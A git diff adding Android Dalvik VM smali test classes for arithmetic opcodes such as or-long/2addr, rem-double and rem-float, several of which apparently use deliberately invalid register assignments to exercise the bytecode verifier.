new file mode 100644
index 0000000..0071ff1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 14
+
+       or-long/2addr v10, v12
+       return-wide v10
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_4.smali
new file mode 100644
index 0000000..dcf4a1f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_2addr_4.java"
+.class  public Ldot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IJ)J
+.registers 14
+
+       or-long/2addr v11, v12
+       return-wide v11
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_5.smali
new file mode 100644
index 0000000..7e88ae2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FJ)J
+.registers 14
+
+       or-long/2addr v11, v12
+       return-wide v11
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_6.smali
new file mode 100644
index 0000000..b9d3c22
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       or-long/2addr v9, v12
+       return-wide v9
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_1.smali
new file mode 100644
index 0000000..9849cf1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_double_1.java"
+.class  public Ldot/junit/opcodes/rem_double/d/T_rem_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       rem-double v0, v10, v12
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_2.smali
new file mode 100644
index 0000000..f7251cc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_double_2.java"
+.class  public Ldot/junit/opcodes/rem_double/d/T_rem_double_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       rem-double v0, v12, v14
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_3.smali
new file mode 100644
index 0000000..800e093
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_double_3.java"
+.class  public Ldot/junit/opcodes/rem_double/d/T_rem_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FD)D
+.registers 14
+
+       rem-double v0, v11, v12
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_4.smali
new file mode 100644
index 0000000..15ba151
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_double_4.java"
+.class  public Ldot/junit/opcodes/rem_double/d/T_rem_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)D
+.registers 14
+
+       rem-double v0, v10, v12
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_5.smali
new file mode 100644
index 0000000..dbb3845
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_5.smali

@@ -0,0 +1,18 @@
+.source "T_rem_double_5.java"
+.class  public Ldot/junit/opcodes/rem_double/d/T_rem_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       rem-double v0, v9, v12
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_6.smali
new file mode 100644
index 0000000..e4bc913
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double/d/T_rem_double_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_double_6.java"
+.class  public Ldot/junit/opcodes/rem_double/d/T_rem_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)D
+.registers 14
+
+       rem-double v0, v11, v13
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_1.smali
new file mode 100644
index 0000000..0eeb427
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_1.smali

@@ -0,0 +1,18 @@
+.source "T_rem_double_2addr_1.java"
+.class  public Ldot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       rem-double/2addr v10, v12
+       return-wide v10
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_2.smali
new file mode 100644
index 0000000..95aa8ea
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_2.smali

@@ -0,0 +1,18 @@
+.source "T_rem_double_2addr_2.java"
+.class  public Ldot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       rem-double/2addr v12, v14
+       return-wide v12
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_3.smali
new file mode 100644
index 0000000..b3e64c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_3.smali

@@ -0,0 +1,18 @@
+.source "T_rem_double_2addr_3.java"
+.class  public Ldot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FD)D
+.registers 14
+
+       rem-double/2addr v11, v12
+       return-wide v11
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_4.smali
new file mode 100644
index 0000000..b4bcd10
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_4.smali

@@ -0,0 +1,18 @@
+.source "T_rem_double_2addr_4.java"
+.class  public Ldot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)D
+.registers 14
+
+       rem-double/2addr v10, v12
+       return-wide v10
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_5.smali
new file mode 100644
index 0000000..b981bb1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_5.smali

@@ -0,0 +1,18 @@
+.source "T_rem_double_2addr_5.java"
+.class  public Ldot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 14
+
+       rem-double/2addr v9, v12
+       return-wide v9
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_6.smali
new file mode 100644
index 0000000..8a0b0e2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_6.smali

@@ -0,0 +1,18 @@
+.source "T_rem_double_2addr_6.java"
+.class  public Ldot/junit/opcodes/rem_double_2addr/d/T_rem_double_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)D
+.registers 14
+
+       rem-double/2addr v11, v13
+       return-wide v11
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_1.smali
new file mode 100644
index 0000000..6d9771a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_1.java"
+.class  public Ldot/junit/opcodes/rem_float/d/T_rem_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       rem-float v0, v6, v7
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_2.smali
new file mode 100644
index 0000000..e05ed7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_2.java"
+.class  public Ldot/junit/opcodes/rem_float/d/T_rem_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       rem-float v0, v7, v8
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_3.smali
new file mode 100644
index 0000000..bede80f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_3.java"
+.class  public Ldot/junit/opcodes/rem_float/d/T_rem_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FD)F
+.registers 8
+
+       rem-float v0, v5, v6
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_4.smali
new file mode 100644
index 0000000..7af59ad
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_4.java"
+.class  public Ldot/junit/opcodes/rem_float/d/T_rem_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JF)F
+.registers 8
+
+       rem-float v0, v5, v7
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_5.smali
new file mode 100644
index 0000000..6b24746
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_5.java"
+.class  public Ldot/junit/opcodes/rem_float/d/T_rem_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       rem-float v0, v5, v7
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_6.smali
new file mode 100644
index 0000000..af6eab6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float/d/T_rem_float_6.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_6.java"
+.class  public Ldot/junit/opcodes/rem_float/d/T_rem_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)F
+.registers 8
+
+       rem-float v0, v6, v7
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_1.smali
new file mode 100644
index 0000000..99c5070
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_1.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_2addr_1.java"
+.class  public Ldot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       rem-float/2addr v6, v7
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_2.smali
new file mode 100644
index 0000000..d3f9bf8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_2.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_2addr_2.java"
+.class  public Ldot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 8
+
+       rem-float/2addr v6, v8
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_3.smali
new file mode 100644
index 0000000..89fefab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_3.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_2addr_3.java"
+.class  public Ldot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FD)F
+.registers 8
+
+       rem-float/2addr v5, v6
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_4.smali
new file mode 100644
index 0000000..badbd80
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_4.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_2addr_4.java"
+.class  public Ldot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JF)F
+.registers 8
+
+       rem-float/2addr v5, v7
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_5.smali
new file mode 100644
index 0000000..b63675c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/rem_float_2addr/d/T_rem_float_2addr_5.smali

@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_rem_float_2addr_5.java"
